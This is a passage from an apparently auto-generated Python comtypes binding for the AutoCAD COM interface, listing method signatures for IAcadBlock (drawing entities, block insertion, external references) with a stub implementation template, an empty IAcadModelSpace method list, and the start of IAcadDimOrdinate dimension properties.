c_int, 'M' ),\n ( ['in'], c_int, 'N' ),\n ( ['in'], VARIANT, 'PointsMatrix' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPolygonMesh)), 'pMesh3d' )),\n COMMETHOD([dispid(1542)], HRESULT, 'Add3DPoly',\n ( ['in'], VARIANT, 'PointsArray' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DPolyline)), 'pPoly3d' )),\n COMMETHOD([dispid(1543)], HRESULT, 'AddArc',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Radius' ),\n ( ['in'], c_double, 'StartAngle' ),\n ( ['in'], c_double, 'EndAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadArc)), 'pArc' )),\n COMMETHOD([dispid(1544)], HRESULT, 'AddAttribute',\n ( ['in'], c_double, 'Height' ),\n ( ['in'], AcAttributeMode, 'Mode' ),\n ( ['in'], BSTR, 'Prompt' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], BSTR, 'Tag' ),\n ( ['in'], BSTR, 'Value' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAttribute)), 'pAttr' )),\n COMMETHOD([dispid(1545)], HRESULT, 'AddBox',\n ( ['in'], VARIANT, 'Origin' ),\n ( ['in'], c_double, 'Length' ),\n ( ['in'], c_double, 'Width' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pBox' )),\n COMMETHOD([dispid(1546)], HRESULT, 'AddCircle',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Radius' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadCircle)), 'pCircle' )),\n COMMETHOD([dispid(1547)], HRESULT, 'AddCone',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'BaseRadius' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pCone' )),\n COMMETHOD([dispid(1548)], HRESULT, 'AddCylinder',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Radius' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pCyl' )),\n COMMETHOD([dispid(1549)], HRESULT, 'AddDimAligned',\n ( ['in'], VARIANT, 'ExtLine1Point' ),\n ( ['in'], VARIANT, 'ExtLine2Point' ),\n ( ['in'], VARIANT, 'TextPosition' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimAligned)), 'pDim' )),\n COMMETHOD([dispid(1550)], HRESULT, 'AddDimAngular',\n ( ['in'], VARIANT, 'AngleVertex' ),\n ( ['in'], VARIANT, 'FirstEndPoint' ),\n ( ['in'], VARIANT, 'SecondEndPoint' ),\n ( ['in'], VARIANT, 'TextPoint' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimAngular)), 'pDim' )),\n COMMETHOD([dispid(1551)], HRESULT, 'AddDimDiametric',\n ( ['in'], VARIANT, 'ChordPoint' ),\n ( ['in'], VARIANT, 'FarChordPoint' ),\n ( ['in'], c_double, 'LeaderLength' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimDiametric)), 'pDim' )),\n COMMETHOD([dispid(1552)], HRESULT, 'AddDimRotated',\n ( ['in'], VARIANT, 'ExtLine1Point' ),\n ( ['in'], VARIANT, 'ExtLine2Point' ),\n ( ['in'], VARIANT, 'DimLineLocation' ),\n ( ['in'], c_double, 'RotationAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimRotated)), 'pDim' )),\n COMMETHOD([dispid(1553)], HRESULT, 'AddDimOrdinate',\n ( ['in'], VARIANT, 'DefinitionPoint' ),\n ( ['in'], VARIANT, 'LeaderEndPoint' ),\n ( ['in'], c_int, 'UseXAxis' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimOrdinate)), 'pDim' )),\n COMMETHOD([dispid(1554)], HRESULT, 'AddDimRadial',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], VARIANT, 'ChordPoint' ),\n ( ['in'], c_double, 'LeaderLength' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimRadial)), 'pDim' )),\n COMMETHOD([dispid(1555)], HRESULT, 'AddEllipse',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], VARIANT, 'MajorAxis' ),\n ( ['in'], c_double, 'RadiusRatio' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadEllipse)), 'pEllipse' )),\n COMMETHOD([dispid(1556)], HRESULT, 'AddEllipticalCone',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'MajorRadius' ),\n ( ['in'], c_double, 'MinorRadius' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pEllipCone' )),\n COMMETHOD([dispid(1557)], HRESULT, 'AddEllipticalCylinder',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'MajorRadius' ),\n ( ['in'], c_double, 'MinorRadius' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pEllipCyl' )),\n COMMETHOD([dispid(1558)], HRESULT, 'AddExtrudedSolid',\n ( ['in'], POINTER(IAcadRegion), 'Profile' ),\n ( ['in'], c_double, 'Height' ),\n ( ['in'], c_double, 'TaperAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pExtrSolid' )),\n COMMETHOD([dispid(1559)], HRESULT, 'AddExtrudedSolidAlongPath',\n ( ['in'], POINTER(IAcadRegion), 'Profile' ),\n ( ['in'], POINTER(IDispatch), 'Path' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pExtrSolid' )),\n COMMETHOD([dispid(1560)], HRESULT, 'AddLeader',\n ( ['in'], VARIANT, 'PointsArray' ),\n ( ['in'], POINTER(IAcadEntity), 'Annotation' ),\n ( ['in'], AcLeaderType, 'Type' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLeader)), 'pLeader' )),\n COMMETHOD([dispid(1561)], HRESULT, 'AddMText',\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_double, 'Width' ),\n ( ['in'], BSTR, 'Text' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMText)), 'pMtext' )),\n COMMETHOD([dispid(1562)], HRESULT, 'AddPoint',\n ( ['in'], VARIANT, 'Point' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPoint)), 'pPoint' )),\n COMMETHOD([dispid(1563)], HRESULT, 'AddLightWeightPolyline',\n ( ['in'], VARIANT, 'VerticesList' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLWPolyline)), 'pLWPolyline' )),\n COMMETHOD([dispid(1564)], HRESULT, 'AddPolyline',\n ( ['in'], VARIANT, 'VerticesList' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPolyline)), 'pPolyline' )),\n COMMETHOD([dispid(1565)], HRESULT, 'AddRay',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadRay)), 'pRay' )),\n COMMETHOD([dispid(1566)], HRESULT, 'AddRegion',\n ( ['in'], VARIANT, 'ObjectList' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pRegions' )),\n COMMETHOD([dispid(1567)], HRESULT, 'AddRevolvedSolid',\n ( ['in'], POINTER(IAcadRegion), 'Profile' ),\n ( ['in'], VARIANT, 'AxisPoint' ),\n ( ['in'], VARIANT, 'AxisDir' ),\n ( ['in'], c_double, 'Angle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pRevolSolid' )),\n COMMETHOD([dispid(1568)], HRESULT, 'AddShape',\n ( ['in'], BSTR, 'Name' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_double, 'ScaleFactor' ),\n ( ['in'], c_double, 'RotationAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadShape)), 'pShape' )),\n COMMETHOD([dispid(1569)], HRESULT, 'AddSolid',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], VARIANT, 'point3' ),\n ( ['in'], VARIANT, 'Point4' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadSolid)), 'pSolid' )),\n COMMETHOD([dispid(1570)], HRESULT, 'AddSphere',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Radius' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pSphere' )),\n COMMETHOD([dispid(1571)], HRESULT, 'AddSpline',\n ( ['in'], VARIANT, 'PointsArray' ),\n ( ['in'], VARIANT, 'StartTangent' ),\n ( ['in'], VARIANT, 'EndTangent' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadSpline)), 'pSpline' )),\n COMMETHOD([dispid(1572)], HRESULT, 'AddText',\n ( ['in'], BSTR, 'TextString' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadText)), 'pText' )),\n COMMETHOD([dispid(1573)], HRESULT, 'AddTolerance',\n ( ['in'], BSTR, 'Text' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], VARIANT, 'Direction' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadTolerance)), 'pTolerance' )),\n COMMETHOD([dispid(1574)], HRESULT, 'AddTorus',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'TorusRadius' ),\n ( ['in'], c_double, 'TubeRadius' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pTorus' )),\n COMMETHOD([dispid(1575)], HRESULT, 'AddTrace',\n ( ['in'], VARIANT, 'PointsArray' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadTrace)), 'pTrace' )),\n COMMETHOD([dispid(1576)], HRESULT, 'AddWedge',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], c_double, 'Length' ),\n ( ['in'], c_double, 'Width' ),\n ( ['in'], c_double, 'Height' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcad3DSolid)), 'pWedge' )),\n COMMETHOD([dispid(1577)], HRESULT, 'AddXline',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadXline)), 'pXline' )),\n COMMETHOD([dispid(1578)], HRESULT, 'InsertBlock',\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], BSTR, 'Name' ),\n ( ['in'], c_double, 'Xscale' ),\n ( ['in'], c_double, 'Yscale' ),\n ( ['in'], c_double, 'Zscale' ),\n ( ['in'], c_double, 'Rotation' ),\n ( ['in', 'optional'], VARIANT, 'Password' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadBlockReference)), 'pBlkRef' )),\n COMMETHOD([dispid(1579)], HRESULT, 'AddHatch',\n ( ['in'], c_int, 'PatternType' ),\n ( ['in'], BSTR, 'PatternName' ),\n ( ['in'], VARIANT_BOOL, 'Associativity' ),\n ( ['in', 'optional'], VARIANT, 'HatchObjectType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadHatch)), 'pHatch' )),\n COMMETHOD([dispid(1580)], HRESULT, 'AddRaster',\n ( ['in'], BSTR, 'imageFileName' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_double, 'ScaleFactor' ),\n ( ['in'], c_double, 'RotationAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadRasterImage)), 'pRaster' )),\n COMMETHOD([dispid(1581)], HRESULT, 'AddLine',\n ( ['in'], VARIANT, 'StartPoint' ),\n ( ['in'], VARIANT, 'EndPoint' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadLine)), 'pLine' )),\n COMMETHOD([dispid(1582), 'propget'], HRESULT, 'IsLayout',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsLayout' )),\n COMMETHOD([dispid(1583), 'propget'], HRESULT, 'Layout',\n ( ['out', 'retval'], POINTER(POINTER(IAcadLayout)), 'pLayout' )),\n COMMETHOD([dispid(1584), 'propget'], HRESULT, 'IsXRef',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pIsXRref' )),\n COMMETHOD([dispid(1585)], HRESULT, 'AddMInsertBlock',\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], BSTR, 'Name' ),\n ( ['in'], c_double, 'Xscale' ),\n ( ['in'], c_double, 'Yscale' ),\n ( ['in'], c_double, 'Zscale' ),\n ( ['in'], c_double, 'Rotation' ),\n ( ['in'], c_int, 'NumRows' ),\n ( ['in'], c_int, 'NumColumns' ),\n ( ['in'], c_int, 'RowSpacing' ),\n ( ['in'], c_int, 'ColumnSpacing' ),\n ( ['in', 'optional'], VARIANT, 'Password' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMInsertBlock)), 'pMInsertBlk' )),\n COMMETHOD([dispid(1586)], HRESULT, 'AddPolyfaceMesh',\n ( ['in'], VARIANT, 'VertexList' ),\n ( ['in'], VARIANT, 'FaceList' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadPolyfaceMesh)), 'pPFMesh' )),\n COMMETHOD([dispid(1587)], HRESULT, 'AddMLine',\n ( ['in'], VARIANT, 'VertexList' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMLine)), 'pMLine' )),\n COMMETHOD([dispid(1588)], HRESULT, 'AddDim3PointAngular',\n ( ['in'], VARIANT, 'AngleVertex' ),\n ( ['in'], VARIANT, 'FirstEndPoint' ),\n ( ['in'], VARIANT, 'SecondEndPoint' ),\n ( ['in'], VARIANT, 'TextPoint' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDim3PointAngular)), 'pDim' )),\n COMMETHOD([dispid(1589), 'propget'], HRESULT, 'XRefDatabase',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDatabase)), 'pDatabase' )),\n COMMETHOD([dispid(1590)], HRESULT, 'AttachExternalReference',\n ( ['in'], BSTR, 'PathName' ),\n ( ['in'], BSTR, 'Name' ),\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_double, 'Xscale' ),\n ( ['in'], c_double, 'Yscale' ),\n ( ['in'], c_double, 'Zscale' ),\n ( ['in'], c_double, 'Rotation' ),\n ( ['in'], VARIANT_BOOL, 'bOverlay' ),\n ( ['in', 'optional'], VARIANT, 'Password' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadExternalReference)), 'pXRef' )),\n COMMETHOD([dispid(1591)], HRESULT, 'Unload'),\n COMMETHOD([dispid(1592)], HRESULT, 'Reload'),\n COMMETHOD([dispid(1593)], HRESULT, 'Bind',\n ( ['in'], VARIANT_BOOL, 'bPrefixName' )),\n COMMETHOD([dispid(1594)], HRESULT, 'Detach'),\n COMMETHOD([dispid(1595)], HRESULT, 'AddTable',\n ( ['in'], VARIANT, 'InsertionPoint' ),\n ( ['in'], c_int, 'NumRows' ),\n ( ['in'], c_int, 'NumColumns' ),\n ( ['in'], c_double, 'RowHeight' ),\n ( ['in'], c_double, 'ColWidth' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadTable)), 'pTable' )),\n COMMETHOD([dispid(1596), 'propget'], HRESULT, 'Path',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1596), 'propput'], HRESULT, 'Path',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(1597), 'propget'], HRESULT, 'Comments',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1597), 'propput'], HRESULT, 'Comments',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(1598), 'propget'], HRESULT, 'Units',\n ( ['out', 'retval'], POINTER(AcInsertUnits), 'pIU' )),\n COMMETHOD([dispid(1598), 'propput'], HRESULT, 'Units',\n ( ['in'], AcInsertUnits, 'pIU' )),\n COMMETHOD([dispid(1599), 'propget'], HRESULT, 'Explodable',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bExplodable' )),\n COMMETHOD([dispid(1599), 'propput'], HRESULT, 'Explodable',\n ( ['in'], VARIANT_BOOL, 'bExplodable' )),\n COMMETHOD([dispid(1600), 'propget'], HRESULT, 'BlockScaling',\n ( ['out', 'retval'], POINTER(AcBlockScaling), 'pBS' )),\n COMMETHOD([dispid(1600), 'propput'], HRESULT, 'BlockScaling',\n ( ['in'], AcBlockScaling, 'pBS' )),\n COMMETHOD([dispid(1601), 'propget'], HRESULT, 'IsDynamicBlock',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pDynamicBlock' )),\n COMMETHOD([dispid(1602)], HRESULT, 'AddDimArc',\n ( ['in'], VARIANT, 'ArcCenter' ),\n ( ['in'], VARIANT, 'FirstEndPoint' ),\n ( ['in'], VARIANT, 'SecondEndPoint' ),\n ( ['in'], VARIANT, 'ArcPoint' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimArcLength)), 'pDim' )),\n COMMETHOD([dispid(1603)], HRESULT, 'AddDimRadialLarge',\n ( ['in'], VARIANT, 'Center' ),\n ( ['in'], VARIANT, 'ChordPoint' ),\n ( ['in'], VARIANT, 'OverrideCenter' ),\n ( ['in'], VARIANT, 'JogPoint' ),\n ( ['in'], c_double, 'JogAngle' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadDimRadialLarge)), 'pDim' )),\n COMMETHOD([dispid(1604)], HRESULT, 'AddSection',\n ( ['in'], VARIANT, 'FromPoint' ),\n ( ['in'], VARIANT, 'ToPoint' ),\n ( ['in'], VARIANT, 'planeVector' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadSection)), 'ppSecPlane' )),\n COMMETHOD([dispid(1605)], HRESULT, 'AddMLeader',\n ( ['in'], VARIANT, 'PointsArray' ),\n ( ['out'], POINTER(c_int), 'leaderLineIndex' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadMLeader)), 'pMLeader' )),\n]\n################################################################\n## code template for IAcadBlock implementation\n##class IAcadBlock_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Origin\n## def _set(self, Origin):\n## '-no docstring-'\n## Origin = property(_get, _set, doc = _set.__doc__)\n##\n## def AddCustomObject(self, ClassName):\n## '-no docstring-'\n## #return pObject\n##\n## def Add3DFace(self, Point1, Point2, point3, Point4):\n## '-no docstring-'\n## #return pFace3d\n##\n## def Add3DMesh(self, M, N, PointsMatrix):\n## '-no docstring-'\n## #return pMesh3d\n##\n## def Add3DPoly(self, PointsArray):\n## '-no docstring-'\n## #return pPoly3d\n##\n## def AddArc(self, Center, Radius, StartAngle, EndAngle):\n## '-no docstring-'\n## #return pArc\n##\n## def AddAttribute(self, Height, Mode, Prompt, InsertionPoint, Tag, Value):\n## '-no docstring-'\n## #return pAttr\n##\n## def AddBox(self, Origin, Length, Width, Height):\n## '-no docstring-'\n## #return pBox\n##\n## def AddCircle(self, Center, Radius):\n## '-no docstring-'\n## #return pCircle\n##\n## def AddCone(self, Center, BaseRadius, Height):\n## '-no docstring-'\n## #return pCone\n##\n## def AddCylinder(self, Center, Radius, Height):\n## '-no docstring-'\n## #return pCyl\n##\n## def AddDimAligned(self, ExtLine1Point, ExtLine2Point, TextPosition):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimAngular(self, AngleVertex, FirstEndPoint, SecondEndPoint, TextPoint):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimDiametric(self, ChordPoint, FarChordPoint, LeaderLength):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimRotated(self, ExtLine1Point, ExtLine2Point, DimLineLocation, RotationAngle):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimOrdinate(self, DefinitionPoint, LeaderEndPoint, UseXAxis):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimRadial(self, Center, ChordPoint, LeaderLength):\n## '-no docstring-'\n## #return pDim\n##\n## def AddEllipse(self, Center, MajorAxis, RadiusRatio):\n## '-no docstring-'\n## #return pEllipse\n##\n## def AddEllipticalCone(self, Center, MajorRadius, MinorRadius, Height):\n## '-no docstring-'\n## #return pEllipCone\n##\n## def AddEllipticalCylinder(self, Center, MajorRadius, MinorRadius, Height):\n## '-no docstring-'\n## #return pEllipCyl\n##\n## def AddExtrudedSolid(self, Profile, Height, TaperAngle):\n## '-no docstring-'\n## #return pExtrSolid\n##\n## def AddExtrudedSolidAlongPath(self, Profile, Path):\n## '-no docstring-'\n## #return pExtrSolid\n##\n## def AddLeader(self, PointsArray, Annotation, Type):\n## '-no docstring-'\n## #return pLeader\n##\n## def AddMText(self, InsertionPoint, Width, Text):\n## '-no docstring-'\n## #return pMtext\n##\n## def AddPoint(self, Point):\n## '-no docstring-'\n## #return pPoint\n##\n## def AddLightWeightPolyline(self, VerticesList):\n## '-no docstring-'\n## #return pLWPolyline\n##\n## def AddPolyline(self, VerticesList):\n## '-no docstring-'\n## #return pPolyline\n##\n## def AddRay(self, Point1, Point2):\n## '-no docstring-'\n## #return pRay\n##\n## def AddRegion(self, ObjectList):\n## '-no docstring-'\n## #return pRegions\n##\n## def AddRevolvedSolid(self, Profile, AxisPoint, AxisDir, Angle):\n## '-no docstring-'\n## #return pRevolSolid\n##\n## def AddShape(self, Name, InsertionPoint, ScaleFactor, RotationAngle):\n## '-no docstring-'\n## #return pShape\n##\n## def AddSolid(self, Point1, Point2, point3, Point4):\n## '-no docstring-'\n## #return pSolid\n##\n## def AddSphere(self, Center, Radius):\n## '-no docstring-'\n## #return pSphere\n##\n## def AddSpline(self, PointsArray, StartTangent, EndTangent):\n## '-no docstring-'\n## #return pSpline\n##\n## def AddText(self, TextString, InsertionPoint, Height):\n## '-no docstring-'\n## #return pText\n##\n## def AddTolerance(self, Text, InsertionPoint, Direction):\n## '-no docstring-'\n## #return pTolerance\n##\n## def AddTorus(self, Center, TorusRadius, TubeRadius):\n## '-no docstring-'\n## #return pTorus\n##\n## def AddTrace(self, PointsArray):\n## '-no docstring-'\n## #return pTrace\n##\n## def AddWedge(self, Center, Length, Width, Height):\n## '-no docstring-'\n## #return pWedge\n##\n## def AddXline(self, Point1, Point2):\n## '-no docstring-'\n## #return pXline\n##\n## def InsertBlock(self, InsertionPoint, Name, Xscale, Yscale, Zscale, Rotation, Password):\n## '-no docstring-'\n## #return pBlkRef\n##\n## def AddHatch(self, PatternType, PatternName, Associativity, HatchObjectType):\n## '-no docstring-'\n## #return pHatch\n##\n## def AddRaster(self, imageFileName, InsertionPoint, ScaleFactor, RotationAngle):\n## '-no docstring-'\n## #return pRaster\n##\n## def AddLine(self, StartPoint, EndPoint):\n## '-no docstring-'\n## #return pLine\n##\n## @property\n## def IsLayout(self):\n## '-no docstring-'\n## #return bIsLayout\n##\n## @property\n## def Layout(self):\n## '-no docstring-'\n## #return pLayout\n##\n## @property\n## def IsXRef(self):\n## '-no docstring-'\n## #return pIsXRref\n##\n## def AddMInsertBlock(self, InsertionPoint, Name, Xscale, Yscale, Zscale, Rotation, NumRows, NumColumns, RowSpacing, ColumnSpacing, Password):\n## '-no docstring-'\n## #return pMInsertBlk\n##\n## def AddPolyfaceMesh(self, VertexList, FaceList):\n## '-no docstring-'\n## #return pPFMesh\n##\n## def AddMLine(self, VertexList):\n## '-no docstring-'\n## #return pMLine\n##\n## def AddDim3PointAngular(self, AngleVertex, FirstEndPoint, SecondEndPoint, TextPoint):\n## '-no docstring-'\n## #return pDim\n##\n## @property\n## def XRefDatabase(self):\n## '-no docstring-'\n## #return pDatabase\n##\n## def AttachExternalReference(self, PathName, Name, InsertionPoint, Xscale, Yscale, Zscale, Rotation, bOverlay, Password):\n## '-no docstring-'\n## #return pXRef\n##\n## def Unload(self):\n## '-no docstring-'\n## #return \n##\n## def Reload(self):\n## '-no docstring-'\n## #return \n##\n## def Bind(self, bPrefixName):\n## '-no docstring-'\n## #return \n##\n## def Detach(self):\n## '-no docstring-'\n## #return \n##\n## def AddTable(self, InsertionPoint, NumRows, NumColumns, RowHeight, ColWidth):\n## '-no docstring-'\n## #return pTable\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Path = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Comments = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pIU\n## def _set(self, pIU):\n## '-no docstring-'\n## Units = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bExplodable\n## def _set(self, bExplodable):\n## '-no docstring-'\n## Explodable = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pBS\n## def _set(self, pBS):\n## '-no docstring-'\n## BlockScaling = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def IsDynamicBlock(self):\n## '-no docstring-'\n## #return pDynamicBlock\n##\n## def AddDimArc(self, ArcCenter, FirstEndPoint, SecondEndPoint, ArcPoint):\n## '-no docstring-'\n## #return pDim\n##\n## def AddDimRadialLarge(self, Center, ChordPoint, OverrideCenter, JogPoint, JogAngle):\n## '-no docstring-'\n## #return pDim\n##\n## def AddSection(self, FromPoint, ToPoint, planeVector):\n## '-no docstring-'\n## #return ppSecPlane\n##\n## def AddMLeader(self, PointsArray):\n## '-no docstring-'\n## #return leaderLineIndex, pMLeader\n##\n\nIAcadModelSpace._methods_ = [\n]\n################################################################\n## code template for IAcadModelSpace implementation\n##class IAcadModelSpace_Impl(object):\n\nIAcadDimOrdinate._methods_ = [\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'Type' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'Type' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n 